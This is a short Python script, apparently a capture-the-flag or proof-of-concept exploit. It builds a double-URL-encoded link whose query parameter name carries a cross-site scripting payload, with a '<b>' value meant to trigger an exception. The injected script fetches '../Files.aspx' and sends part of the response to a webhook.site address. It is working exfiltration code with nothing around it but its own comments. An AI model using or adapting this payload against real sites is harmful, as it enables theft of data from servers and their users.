from urllib.parse import quote_plus

req_bin = "https://webhook.site/a1233792-2cf3-4f24-84cc-af8841031b32"
param_key = f'<script>fetch("../Files.aspx").then(r=>r.text()).then(d=>{{fetch("{req_bin}/?c="+encodeURIComponent(d).slice(4000,6000))}})</script>'
param_value = '<b>' # trigger exception
get_param = quote_plus(param_key) + "=" + param_value # dont encode `=`
link = f'/?{get_param}'
link = quote_plus(link) # double url encode
print(link)